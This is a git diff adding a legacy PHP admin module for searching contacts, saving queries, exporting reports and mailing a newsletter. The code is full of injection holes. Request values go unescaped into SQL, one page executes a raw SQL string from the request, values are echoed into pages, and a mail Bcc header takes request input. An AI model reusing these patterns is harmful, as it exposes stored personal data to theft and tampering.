index 0000000..da3e735
--- /dev/null
@@ -0,0 +1,16 @@
+<?php
+include_once("../../setup.phtml");
+
+$qs = "DELETE 
+          FROM         search_query_db 
+          WHERE        id = $id";
+
+if(!db_auto_exec($qs,CONN2_STR)) html_error(DB_ERROR_MSG.$qs,1);
+html_header("Admin","Deleted","");
+?>
+<script lang="javascript">
+document.onload=window.opener.location.reload(1);
+</script>
+Query <?echo $id?> is Deleted
+<center><a href="" onClick="window.close();return(false);">Close This
+Window</a></center>
diff --git a/admin/SearchEng-Contact/edit_contact.phtml b/admin/SearchEng-Contact/edit_contact.phtml
new file mode 100755 (executable)
index 0000000..cf6da78
--- /dev/null
@@ -0,0 +1,148 @@
+<?
+include_once("../../setup.phtml");
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$lnav = array(
+                       "Add A New Contact"     => "edit_contact.phtml",
+                       "Query Page"    => "contact.phtml",
+                       "List Contacts" => "list_contact.phtml"
+               );
+
+
+if(isset($id)) {
+top("Updatable Contacts (Add/Edit)", HELP_BASE."contact.phtml?key=Edit");
+       $qs = "SET DATESTYLE = 'SQL, US';
+                  SELECT       contactid,submit_date,name,address1,address2,city,state,
+                                       zip,email,country,phone,bus_type,mail_ok
+                  FROM         search_contact 
+                  WHERE        contactid = $id";
+               
+       if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG.$qs,1);
+       $row = db_fetch_array($res,0, PGSQL_ASSOC);
+       if(!$row[contactid]) html_error(DB_ERROR_MSG,1);
+}
+else {
+top("Updatable Contacts (Add/Edit)", HELP_BASE."contact.phtml?key=Add");
+$row = array (
+       "name" => "",
+       "address1" => "",
+       "address2" => "",
+       "city" => "",
+       "state" => "",
+       "zip" => "",
+       "email" => "",
+       "country" => "",
+       "phone" => "",
+       "bus_type" => "",
+       "mail_ok" => "t"
+               );
+}
+
+
+html_nav_table($lnav, 3);
+echo '<table id="admin-list-table">';
+
+form_header("update_contact.phtml?".SID,"POST","");
+       
+foreach($row as $key=>$value) {
+       switch($key) {
+               
+       case "contactid":
+       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+       break;
+               
+       case "submit_date":
+               $value = date("m/d/Y",$value);
+               echo "<tr><td class=\"navtd\" align=\"right\">Created:</td>";
+               echo "<td>$value</td></tr>";
+       break;
+               
+       case "name":
+               echo "<tr><td class=\"navtd\" align=\"right\">Name:</td>";
+               text_box("name",$value);
+               echo "</tr>";
+       break;
+               
+       case "address1":
+               echo "<tr><td class=\"navtd\" align=\"right\">Address 1:</td>";
+               text_box("address1",$value);
+               echo "</tr>";
+       break;
+               
+       case "address2":
+               echo "<tr><td class=\"navtd\" align=\"right\">Address 2:</td>";
+               text_box("address2",$value);
+               echo "</tr>";
+       break;
+               
+       case "city":
+               echo "<tr><td class=\"navtd\" align=\"right\">City:</td>";
+               text_box("city",$value);
+               echo "</tr>";
+       break;
+               
+       case "state":
+               echo "<tr><td class=\"navtd\" align=\"right\">State:</td>";
+               text_box("state",$value,2);
+               echo "</tr>";
+       break;
+               
+       case "zip":
+               echo "<tr><td class=\"navtd\" align=\"right\">Zip:</td>";
+               text_box("zip",$value);
+               echo "</tr>";
+       break;
+               
+       case "country":
+               echo "<tr><td class=\"navtd\" align=\"right\">Country</td>";
+               text_box("country",$value);
+               echo "</tr>";
+       break;
+               
+       case "phone":
+               echo "<tr><td class=\"navtd\" align=\"right\">Phone:</td>";
+               text_box("phone",$value);
+               echo "</tr>";
+       break;
+               
+       case "email":
+               echo "<tr><td class=\"navtd\" align=\"right\">Email</td>";
+               text_box("email",$value);
+               echo "</tr>";
+       break;
+               
+       case "bus_type":
+               echo "<tr><td class=\"navtd\" align=\"right\">Bussiness Type</td>";
+               text_box("bus_type",$value);
+               echo "</tr>";
+       break;
+               
+       case "mail_ok":
+               echo "<tr><td class=\"navtd\" align=\"right\">Mail OK?</td>";
+               echo "<td><input type=\"radio\" name=\"mail_ok\" value=\"t\"";
+               if($value == 't')
+                       echo " checked";
+               echo ">Yes";
+               echo "<input type=\"radio\" name=\"mail_ok\" value=\"f\"";
+               if($value == 'f')
+                       echo " checked";
+               echo ">No";
+               echo "</td></tr>";
+       break;
+               
+       default:
+               html_error("need case for ->".$key,1);
+       break;
+       }
+}
+if(isset($id)) {
+       form_footer("Update","1",2);
+}
+else {
+       form_footer("Insert","",2);
+}
+echo "</td></tr></table>";
+
+footer();
+?>
diff --git a/admin/SearchEng-Contact/help/closewindow.gif b/admin/SearchEng-Contact/help/closewindow.gif
new file mode 100755 (executable)
index 0000000..c54ed89
Binary files /dev/null and b/admin/SearchEng-Contact/help/closewindow.gif differ
diff --git a/admin/SearchEng-Contact/help/contact.phtml b/admin/SearchEng-Contact/help/contact.phtml
new file mode 100755 (executable)
index 0000000..9ca0da6
--- /dev/null
@@ -0,0 +1,147 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Contact Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "search":
+       ?>
+<h4 align="center">Contact Database Search</h4>
+
+<P>
+In this page you will start to build your query to the contact database.
+</p>
+<p>
+<big><b>Search:</b></big>
+</p>
+<p>
+<b>Search records for:</b>
+</p>
+<p>Here is where you will enter any keywords to use in the search.</p>
+<p><font color=red>HINT:</font>To help search use wildcards!</p>
+<p>? optional space<br>
+* optional spaces<br>
++ at least one space<br>
+. will match anything<br>
+</p>
+<p><font color=green>NOTE:</font>Leaving this fields blank will select all
+contacts.  You can leave this blank and choose "Mail OK" true to get all
+contacts that allow emails.</p>
+<p><b>Search Where in fields:</b></p>
+<p>Tells the database to Search "Anywhere", "Beginning", or "Ending" of the
+fields to be searched.</p>
+<p><b>In Fields:</b></p>
+<p>Select from "In Fields" box.  This determines what fields to look in for
+this search.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time.  This will
+select all or none of the fields in the boxes.  </p>
+<p><font color=red>HINT</font>
+If you want to select more than one field to search in hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><b>Search Type:</b></p>
+<p>Select the type of search you want (ie.) an "Exact string" search will return
+only those fields which match the "Search records" for string exactly as compared
+to "Or" which will return any field that match any words you place into "Search
+records for"</p>
+<p><b>Case Sensitivity:</b></p>
+<p>This will turn "On" and "Off" the case sensitivity.
+(ie.)If you leave it "Off" and enter "bob" it will return anything like
+"bob","BOB","Bob","BOb","boB",or "BoB" turned "On" will match only "bob".</p>
+
+<p>
+<big><b>Output of records</b></big>
+</p>
+<p><b>Output Fields:</b></p>
+<p>Select from "Output Fields" box.  This determines what fields will be in the
+output of this search.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time.  This will
+select all or none of the fields in the boxes.</p>  
+<p><font color=red>HINT</font>
+If you want to select more than
+one Output field hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><b>File Output:</b></p>
+<p>Select from here if you wish to download a file with the results of this
+search.  The file will built "On the Fly" so you can download it.</p>
+<p><font color=green>NOTE:</font>The text file is output as report.doc.  This
+is only a text file.
+</p>
+<p><b>Delimiter:</b></p>
+<p>This determines what separates the fields in your file.</p>
+
+<p><b>Search Date Ranges:</b></p>
+<p>If you dont change the FROM date but change the TO date it will give you all
+records that occur before that date.</p>
+<?
+       break;
+
+       case "List":
+       ?>
+<h4 align="center">List Contacts</h4>
+<P>
+This page is for listing the results of your query.  You can download files if
+you have selected a file type or edit and delete the contact found.
+</p>
+<p><b>[Edit]</b></p>
+<p>Link to contact edit page.</p>
+
+<p><b>[Delete]</b></p>
+<p>Link to Delete Contact.</p>
+
+<p><big><b>Download Files</b></big></p>
+<p>If you see this then there is a file you can download.
+Click on the file and you can download it.</p>
+<?
+       break;
+
+       case "Edit":
+       ?>
+<h4 align="center">Edit a Contact</h4>
+<P>
+This page is for editing and modifying an existing Contact in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+<p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+       break;
+
+       case "Add":
+       ?>
+<h4 align="center">Add an Contact</h4>
+<P>
+This page is for Adding Contacts in the database.
+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+       break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/SearchEng-Contact/help/helpbg.gif b/admin/SearchEng-Contact/help/helpbg.gif
new file mode 100755 (executable)
index 0000000..0b62415
Binary files /dev/null and b/admin/SearchEng-Contact/help/helpbg.gif differ
diff --git a/admin/SearchEng-Contact/list_contact.phtml b/admin/SearchEng-Contact/list_contact.phtml
new file mode 100755 (executable)
index 0000000..56592ad
--- /dev/null
@@ -0,0 +1,272 @@
+<?php
+include_once("../../setup.phtml");
+
+if(!$dbd = db_connect(CONN2_STR)) html_erro(DB_ERROR_MSG,0);
+
+$qs = "SET DATESTYLE TO 'SQL, US'";
+
+db_exec($dbd,$qs);
+unset($qs);
+
+$checkqs = "SELECT     count(*) as contacts
+                   FROM        search_contact";
+
+if(!$checkres = db_exec($dbd,$checkqs))
+       html_error(DB_ERROR_MSG.$qs,1);
+
+if(!$checkrow = db_fetch_array($checkres,0,PGSQL_ASSOC))
+       html_error(DB_ERROR_MSG, 1);
+
+if($checkrow[contacts] == 0)
+       html_error("There are no contacts in the database",1);
+
+unset($qs);
+
+if(!isset($back) && !isset($query_string)) {
+       $query = "SELECT        contactid,name,address1,address2,city,
+                                               state,zip,country,phone,email,bus_type
+                         FROM          search_contact
+                         WHERE         contactid is not NULL";
+
+       $query = addslashes($query);
+       $qs = "SELECT   id
+                  FROM         search_query_db
+                  WHERE        query_name = '(current)'";
+
+       if(!$res = db_exec($dbd,$qs))
+               html_error(DB_ERROR_MSG.$qs,1);
+
+       if(!$row = @db_fetch_array($res,0,PGSQL_ASSOC)) {
+       $qs = "INSERT
+                  INTO         search_query_db
+                                       (query,query_name)
+                  VALUES       ('$query','(current)')";
+       }
+       else {
+               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+               $qs = "UPDATE   search_query_db
+                          SET          query = '$query',
+                                       file = '',
+                                       delimiter = ''
+                          WHERE        id = $row[id]";
+       }
+       if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+       unset($qs);
+}
+
+if($delimiter == "csv")
+       $csv = TRUE;
+$delimiter = str_replace("comma",",",$delimiter);
+$delimiter = str_replace("tab","\t",$delimiter);
+$delimiter = str_replace("csv",",",$delimiter);
+$delimiter = str_replace("pipe","|",$delimiter);
+
+
+if(isset($query_string)) {
+       $query_string = strtr($query_string,"\n"," ");
+       $query_string = strtr($query_string,"\t"," ");
+       $query_string = stripslashes($query_string);
+       $qs = $query_string;
+}
+else {
+       $queryqs = "SELECT      query
+                               FROM    search_query_db
+                               WHERE   query_name LIKE '(current)'";
+
+       if(!$queryres = @db_exec($dbd,$queryqs)) {
+               $qs = "SELECT   contactid,name,address1,address2,city,
+                                               state,zip,country,phone,email,bus_type
+                          FROM         search_contact
+                          WHERE        contactid is not NULL";
+       }
+       else {
+               $queryrow = db_fetch_array($queryres,0,PGSQL_ASSOC);
+               $qs = $queryrow[query];
+       }
+}
+
+/* mailing result */
+$mailqs = $qs." AND mail_ok = 't'";
+$qs .= " ORDER BY name";
+
+$res = db_exec($dbd,$qs);
+if(!$res) html_error(DB_ERROR_MSG.$qs,0);
+
+/* mailing result */
+if(!$mailres = db_exec($dbd,$mailqs))
+       html_error(DB_ERROR_MSG.$mailqs,1);
+
+for($m=0;$m<db_numrows($mailres);$m++) {
+       $mailrow = db_fetch_array($mailres,$m,PGSQL_ASSOC);
+       if(GLM_TOOLBOX::valid_email($mailrow[email])) {
+               $mail[$m] = $mailrow[email];
+       }
+}
+if(is_array($mail) && count($mail)>0) {
+       $mailinglist = implode(",",$mail);
+}
+else {
+       $mailinglist = "";
+}
+
+top("List Contacts",HELP_BASE."contact.phtml?key=List");
+?>
+<script src="<?echo URL_BASE."glmlib/js/wm.js"?>"></script>
+<script src="<?echo URL_BASE."glmlib/js/msg.js"?>"></script>
+<?
+$nav = array(
+       "Add Contact" => "edit_contact.phtml",
+       "List all Contacts" => "list_contact.phtml",
+       "List all saved queries" => "list_query.phtml",
+       "Query Page" => "contact.phtml"
+);
+html_nav_table($nav,5);
+$mailoutqs = "SELECT   mailout
+                         FROM          newsletter, news
+                         WHERE         newsletter.newsid = news.id
+                         AND           news.status = 'current'";
+
+if(!$mailoutres = @db_exec($dbd,$mailoutqs))
+       html_error(DB_ERROR_MSG.$mailoutqs,0);
+if(!$mailoutrow = @db_fetch_array($mailoutres,0,PGSQL_ASSOC)) {
+       $mailoutrow[mailout] = "Never";
+}
+?>
+<script lang="javascript">
+var remind = new Object;
+remind.url = 'mailout.phtml?mail=<?echo $mailinglist?>';
+remind.width = 510;
+remind.height = 350;
+remind.popup = '1';
+remind.name = 'mailout';
+remind.msg = 'This will mailout the Newsletter\n';
+remind.msg += 'Last mailed out on <?echo $mailoutrow[mailout]?>\n';
+
+</script>
+<table id="admin-list-table">
+<tr>
+  <th colspan=2>
+<a href="mailout.phtml" onClick="
+glm_confirm(remind)
+return(false);
+">Mail Out the Newsletter</a>
+  </th>
+</tr>
+<tr>
+    <th bgcolor="#2f4f4f" class="theader"> Functions: </th>
+    <th bgcolor="#2f4f4f" class="theader"> Contact Info        </th>
+</tr>
+<tr>
+  <td colspan=2><?echo db_numrows($res)?>Result(s)</td>
+</tr>
+<?
+$result_string = "";
+for($i=0;$i<db_numrows($res);$i++) {
+       $row = db_fetch_array($res,$i,PGSQL_ASSOC);
+       for($b=1;$b<count($row);$b++) {
+               $fields[$b] = pg_fieldname($res,$b);
+               if($csv)
+                       $result_string .= "\"".$row[$fields[$b]]."\"";
+               else
+                       $result_string .= $row[$fields[$b]];
+               if($b != count($row)-1)
+                       $result_string .= $delimiter;
+               if($b == count($row)-1)
+                       $result_string .= "\n";
+       }
+       if($i%2==0) {
+               $background = " bgcolor=\"#bfbfbf\"";
+       }
+       else {
+               $background = " bgcolor=\"#e0e0e0\"";
+       }
+       ?>
+       <tr <?echo $background?>>
+         <td><a href="edit_contact.phtml?id=<?echo $row[contactid]?>">
+         [Edit]</a>
+         <a href="update_contact.phtml?Command=Delete&id=<?echo $row[contactid]?>" onClick="
+               if(confirm('This will delete this record Are you sure?')) {
+                       return(true);
+               }else {
+                       return(false);
+               }
+               ">
+         [Delete]</a>
+         </td>
+         <td align=left>
+         <?
+         foreach($fields as $key) {
+         if($key != "id")
+               echo $row[$key]." ";
+         }
+         ?>
+         </td>
+       </tr>
+       <?
+}
+?>
+</table>
+<?
+if(isset($file) && $file != "" && db_numrows($res) > 0) {
+       $result_string = str_replace(",,","",$result_string);
+       $result_string = ereg_replace("(,)$","\\n",$result_string);
+
+/* Remove the old reports if they exsists */
+       if(is_file("report.txt"))
+               unlink("report.txt");
+       if(is_file("report.tar.gz"))
+               unlink("report.tar.gz");
+       if(is_file("report.zip"))
+               unlink("report.zip");
+       if(is_file("report.rtf"))
+               unlink("report.rtf");
+
+
+       if(!$fp = fopen("report.txt","w"))
+               html_error("Cant open report",0);
+       fputs($fp,$result_string,strlen($result_string));
+       if(!fclose($fp))
+               html_error("Cant close filepointer",0);
+       chmod("report.txt",0755);
+
+       if($file == "gz") {
+               $output = "report.tar.gz";
+               exec("tar -czvf report.tar.gz report.txt");
+               chmod("report.tar.gz",0755);
+       }
+
+       if($file == "zip") {
+               $output = "report.zip";
+               exec("zip report report.txt");
+               chmod("report.zip",0755);
+       }
+       if($file == "rpt") {
+               exec("mv report.txt report.rtf");
+               $output = "report.rtf";
+               chmod("report.rtf",0755);
+       }
+
+$file_size = filesize($output);
+if ($file_size >= 1073741824) {
+       $file_size = round($file_size / 1073741824 * 100) / 100 . "g";
+} elseif ($file_size >= 1048576) {
+       $file_size = round($file_size / 1048576 * 100) / 100 . "m";
+} elseif ($file_size >= 1024) {
+       $file_size = round($file_size / 1024 * 100) / 100 . "k";
+} else {
+$file_size = $file_size . "b";
+}
+?>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+<tr>
+    <th bgcolor="#2f4f4f" class="theader" colspan=2>Download files</th>
+</tr>
+<tr>
+  <td><a href="<?echo $output?>"><?echo $output?></a></td>
+  <td align=left width=80%><?echo $file_size?></td>
+</tr>
+</table>
+<?
+}
+footer();
+?>
diff --git a/admin/SearchEng-Contact/list_query.phtml b/admin/SearchEng-Contact/list_query.phtml
new file mode 100755 (executable)
index 0000000..7baa925
--- /dev/null
@@ -0,0 +1,62 @@
+<?php
+include_once("../../setup.phtml");
+
+top("Query DB",HELP_BASE."query_db.phtml?key=list");
+$nav = array(
+       "Add Contact" => "edit_contact.phtml",
+       "List all Contacts" => "list_contact.phtml",
+       "List all saved queries" => "list_query.phtml",
+       "Query Page" => "contact.phtml"
+);
+html_nav_table($nav,4);
+
+?>
+<script src="<?echo URL_BASE."glmlib/js/wm.js"?>"></script>
+<script src="<?echo URL_BASE."glmlib/js/msg.js"?>"></script>
+<table id="admin-list-table">
+<tr bgcolor="#2f4f4f">
+  <th class="theader">
+  Functions:
+  </th>
+  <th class="theader">
+  Queries in database
+  </th>
+</tr>
+<?
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG,0);
+
+$qs = "SELECT  id,query_name 
+          FROM         search_query_db";
+
+if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+for($i=0;$i<db_numrows($res);$i++) {
+       $row = db_fetch_array($res,$i,PGSQL_ASSOC);
+       
+?>
+       <script lang="javascript">
+       var o<?echo $i?> = new Object();
+       o<?echo $i?>.msg = 'You are about to Permanently Delete this Query';
+       o<?echo $i?>.url = 'del_query.phtml?id=<?echo $row[id]?>';
+       o<?echo $i?>.popup = '1';
+       o<?echo $i?>.popup.name = "delwin";
+       o<?echo $i?>.width = 630;
+       o<?echo $i?>.height = 300;
+       </script>
+<tr>
+ <td>
+ <a href="query_contact.phtml?query_no=<?echo $row[id]?>">[Recall]</a>
+ <?if($row[query_name] != "(current)") {?>
+ <a href="del_query.phtml?id=<?echo $row[id]?>" onClick="
+ glm_confirm(o<?echo $i?>);
+ return(false);
+ ">[Delete]</a>
+ <?}?>
+ </td>
+  <td><b><?echo $row[query_name]?></b></td>
+</tr>
+<?}?>
+</table>
+<?
+footer();
+?>
diff --git a/admin/SearchEng-Contact/mailout.phtml b/admin/SearchEng-Contact/mailout.phtml
new file mode 100755 (executable)
index 0000000..f8a101b
--- /dev/null
@@ -0,0 +1,73 @@
+<html>
+<head>
+<title>Mailing out The Newsletter</title>
+</head>
+<body bgcolor=white>
+<?php
+require_once "../../setup.phtml";
+
+if(!$dbd = db_connect(CONN2_STR)) 
+       html_error(DB_ERROR_MSG,1);
+
+$qs = "SELECT  n.id,nc.header
+          FROM         search_news n,search_news_category nc 
+          WHERE        n.status = 'current'
+          AND          nc.id = n.catid";
+
+if(!$res = db_exec($dbd,$qs)) 
+       html_error(DB_ERROR_MSG.$qs,0);
+
+for($i=0;$i<db_numrows($res);$i++) {
+       $news[$i] = db_fetch_array($res,$i,PGSQL_ASSOC);
+}
+
+if($mail != "") {
+               $responseqs = "SELECT   subject,response 
+                                          FROM         search_news_response
+                                          WHERE        id = 1";
+               
+               if(!$resres = db_exec($dbd,$responseqs))
+                       html_error(DB_ERROR_MSG.$responseqs,0);
+
+               $responserow = db_fetch_array($resres,0,PGSQL_ASSOC);
+
+               $subject = $responserow['subject'];
+               $message = $responserow['response'];
+               
+               $headers =      "From: Gaslight Media <".REPLY_TO.">\n".
+                                       "Reply-to: ".REPLY_TO."\n".
+                                       "Bcc: $mail";
+               if(!mail(OWNER_EMAIL,$subject,$message,$headers))
+                       html_error("no mail sent",0);
+               else {
+?>
+<table width=500 bgcolor="#e0e0e0">
+<tr bgcolor="#2f4f4f">
+  <th><font color=white>Newsletter Succesfully Sent!</th>
+  </tr>
+<?
+                       for($b=0;$b<db_numrows($res);$b++) {
+                               $id = $news[$b][id];
+                               $qs =  "INSERT 
+                                               INTO    search_newsletter
+                                                               (mailout,newsid)
+                                               VALUES  (CURRENT_DATE,$id)";
+
+                               if(!db_exec($dbd, $qs))
+                                       html_error(DB_ERROR_MSG.$qs, 1);
+?>
+<tr>
+  <td>Mail the current <?echo $news[$b][header]?></td>
+</tr>
+<?                             
+                       }
+                       echo "<tr><td>To ".$mail."</td></tr></table>";
+               }
+       }
+       else {
+       html_error("no mail sent",0);
+       }
+
+?>
+</body>
+</html>
diff --git a/admin/SearchEng-Contact/main.css b/admin/SearchEng-Contact/main.css
new file mode 100755 (executable)
index 0000000..2bc9f57
--- /dev/null
@@ -0,0 +1,23 @@
+body {
+       background-color: #c0c0c0;
+}
+
+.navlink {
+       font-size: 80%;
+       font-family: arial;
+}
+
+td {
+       font-size: 80%;
+       font-family: arial,helvetica;
+}
+
+.theader {
+       font-size: 120%;
+       font-family: arial,helvetica;
+       color: #FFFFFF;
+}
+
+.theadertd {
+       background-color: #000080;
+}
diff --git a/admin/SearchEng-Contact/news.sql b/admin/SearchEng-Contact/news.sql
new file mode 100755 (executable)
index 0000000..11a571f
--- /dev/null
@@ -0,0 +1,12 @@
+CREATE TABLE search_newsletter (
+id SERIAL,
+mailout date,
+newsid integer);
+
+REVOKE ALL ON search_newsletter FROM public;
+GRANT ALL ON search_newsletter TO nobody;
+GRANT ALL ON search_newsletter TO postgres;
+
+REVOKE ALL ON search_newsletter_id_seq TO public;
+GRANT ALL ON search_newsletter_id_seq TO nobody;
+GRANT ALL ON search_newsletter_id_seq TO postgres;
diff --git a/admin/SearchEng-Contact/path.phtml b/admin/SearchEng-Contact/path.phtml
new file mode 100755 (executable)
index 0000000..2c71df5
--- /dev/null
@@ -0,0 +1,3 @@
+<?
+include_once("../../setup.phtml");
+?>
diff --git a/admin/SearchEng-Contact/query_contact.phtml b/admin/SearchEng-Contact/query_contact.phtml
new file mode 100755 (executable)
index 0000000..7b197ac
--- /dev/null
@@ -0,0 +1,334 @@
+<?php
+/* Includes  */
+include_once("../../setup.phtml");
+if(!isset($query_no)) {
+       /* The fields array is sent as a string 
+               split it out using : as delimiter */
+       $fvalue = ereg_replace("^:","",$fvalue);
+       $fields = split(":",$fvalue);
+       $rfvalue = ereg_replace("^:","",$rfvalue);
+       $return_fields = split(":",$rfvalue);
+       $dates = ereg_replace("^:","",$rdvalue);
+       $dates = split(":",$dates);
+
+       if(!isset($search)) {
+               header("Location: contact.phtml");
+       }
+       /* Chop off whitespaces spaces */
+       $search = chop(trim($search));
+       if($search == "") 
+               $ALL = TRUE;
+
+       function getKeywords($keywords) {
+               /* Replace the whitespace with a , */
+               $keywords = ereg_replace(" ",",",$keywords);
+       
+               while(ereg(",,",$keywords)) {
+               /* Replace the ,, with a , */
+                       $keywords = ereg_replace(",,",",",$keywords);
+               }
+               $seperated = explode(",",$keywords);
+               /* Return exploded string */
+               return $seperated;
+       }
+
+       switch($search_type) {
+               case "1":
+                       $keywords = $search;
+                       $compare = "OR";
+               break;
+
+               case "2":
+                       $keywords = getKeywords($search);
+                       $compare = "AND";
+               break;
+
+               case "3":
+                       $keywords = getKeywords($search);
+                       $compare = "OR";
+               break;
+
+               case "4":
+                       $keywords = getKeywords($search);
+                       $compare = "AND";
+                       $NOT = TRUE;
+               break;
+       
+               default:
+                       echo "not valid";
+               break;
+       }
+       if(is_array($keywords)) {
+               for($rip=0;$rip<count($keywords);$rip++) {
+                       $keywords[$rip] = trim($keywords[$rip]);
+                       /* if * is at the begging the replace with .* */
+                       $keywords[$rip] = ereg_replace("[\x2a]",".*",$keywords[$rip]);
+                       $keywords[$rip] = ereg_replace("[\x3f]",".?",$keywords[$rip]);
+                       $keywords[$rip] = ereg_replace("[\x2b]",".+",$keywords[$rip]);
+               }
+       }
+       else {
+               $keywords = trim($keywords);
+               /* if * is at the begging the replace with .* */
+               $keywords = ereg_replace("[\x2a]",".*",$keywords);
+               $keywords = ereg_replace("[\x3f]",".?",$keywords);
+               $keywords = ereg_replace("[\x2b]",".+",$keywords);
+       }
+       
+       switch($alter) {
+               /* $alter defines where to look in fields */
+               case "1":
+                       $begin = "^";
+                       $end = "";
+               break;
+       
+               case "2":
+                       $begin = "";
+                       $end = " *$";
+               break;
+
+               default:
+                       $begin = "";
+                       $end = "";
+               break;
+       }
+       
+       $operator = " ";
+       if($NOT) {
+               $operator .= "!~";
+       }
+       else {
+               $operator .= "~";
+       }
+       if($case == "OFF") {
+               $operator .= "*";
+       }
+       $operator .= " ";
+
+       /* finally, build the query string from string or array $keywords */
+       $query_string = "SELECT contactid,";
+       $totali = count($return_fields)-1;
+       for($i=0;$i<count($return_fields);$i++) {
+               $query_string .= $return_fields[$i];
+               if($i != $totali) {
+                       $query_string .= ",";
+               }
+               if($i == 8) {
+                       $query_string .= "\n";
+               }
+       }
+       $totald = count($dates)-1;
+       for($i=0;$i<count($dates);$i++) {
+               if($dates[$i] != " " && $dates[$i] != "") {
+                       if($i == 0) {
+                               $query_string .= ",";
+                       }
+               }
+               $query_string .= $dates[$i];
+               if($i != $totald) {
+                       $query_string .= ",";
+               }
+       }
+       if(!$ALL) {     
+               $query_string .= "\nFROM\tsearch_contact \nWHERE\tcontactid is not NULL\nAND\t";
+               for($b=0;$b<count($fields);$b++) {
+                       $totalb = count($fields)-1;
+                       if(is_array($keywords)) {
+                               for($c=0;$c<count($keywords);$c++) {
+                                       $totalc = count($keywords)-1;
+                                       $query_string .= $fields[$b].$operator."'".
+                                               $begin.$keywords[$c].$end."'";
+                                       if($c != $totalc) {
+                                               $query_string .= " \n$compare\t";
+                                       }
+                               }
+                       }
+                       else {
+                               $query_string .= $fields[$b].$operator."'".
+                                       $begin.$keywords.$end."'";
+                       }
+                       if($b != $totalb) {
+                               $query_string .= " \n$compare\t";
+                       }
+               }
+       }
+       else {
+               $query_string .= "\nFROM\tsearch_contact \nWHERE\tcontactid is not NULL\n";
+       }
+       if($mail_ok == "1") {
+               $query_string .= " AND mail_ok = 't'";
+       }
+       if($mail_ok == "0") {
+               $query_string .= " AND mail_ok = 'f'";
+       }
+       if(isset($fp_month)) {
+               $fp_str = mktime(0,0,0,$fp_month,$fp_day,$fp_year);
+               $tp_str = mktime(0,0,0,$tp_month,$tp_day,$tp_year);
+               $fc_str = mktime(0,0,0,$fc_month,$fc_day,$fc_year);
+               $tc_str = mktime(0,0,0,$tc_month,$tc_day,$tc_year);
+               $fa_str = mktime(0,0,0,$fa_month,$fa_day,$fa_year);
+               $ta_str = mktime(0,0,0,$ta_month,$ta_day,$ta_year);
+               
+               if($fp_str<$tp_str) {
+                       $fp_date = $fp_str;
+                       $tp_date = $tp_str;
+                       $query_string .= " AND submit_date > '$fp_date'
+                                                          AND submit_date < '$tp_date'";
+               }
+               if($fp_str>$tp_str) {
+                       $fp_date = $fp_str;
+                       $tp_date = $tp_str;
+                       $query_string .= " AND submit_date < '$tp_date'";
+               }
+       }
+}      
+else {
+       if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG,0);
+
+       $qs = "SELECT   query_name,query,delimiter,file 
+                  FROM         search_query_db
+                  WHERE        id = $query_no";
+
+       if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+       $query_name = $row[query_name];
+       $query_string = $row[query];
+       $file = $row[file];
+       $delimiter = $row[delimiter];
+}
+
+/* Thought the contact would like to see what's in the query */
+$showq = str_replace("SELECT","Return\n",$query_string);
+$showq = str_replace( "\nFROM\tsearch_contact \nWHERE\tcontactid is not NULL\nAND\t",
+" \nfrom the contact database \nwhere ",$showq);
+$showq = str_replace( "\nFROM\tsearch_contact \nWHERE\tcontactid is not NULL\n",
+" \nfrom the contact database",$showq);
+$showq = str_replace("name","Name",$showq);
+$showq = str_replace("contactid,","",$showq);
+$showq = str_replace("!~*","does not contain",$showq);
+$showq = str_replace("!~","does not contain",$showq);
+$showq = str_replace("~*","contains",$showq);
+$showq = str_replace("~","is in",$showq);
+$showq = str_replace("does not contain '^"," does not start with ",$showq);
+$showq = str_replace("contains '^"," starts with ",$showq);
+$showq = str_replace("is in '^"," starts with ",$showq);
+$showq = str_replace("$"," in the ending ",$showq);
+$showq = str_replace("OR","or",$showq);
+$showq = str_replace("AND","and",$showq);
+$showq = str_replace("'","",$showq);
+if(!$ALL) {
+       if($case == "OFF") {
+               $showq .= "\n(case insensitive match)";
+       } else {
+               $showq .= "\n(case sensitive match)";
+       }
+}
+if(isset($file) && $file != "") {
+       $showq .= "\noutput 1 file in ";
+       if($file == "rpt") {
+               $showq .= "text";
+       }elseif($file == "gz") {
+               $showq .= "tar ball";
+       }else {
+               $showq .= "zip";
+       }
+       if($delimiter == "csv")
+               $showq .= " format using ".$delimiter;
+       else
+               $showq .= " format using ".$delimiter." as delimiter";
+}
+$showq .= ".";
+
+
+$query = addslashes($query_string);
+
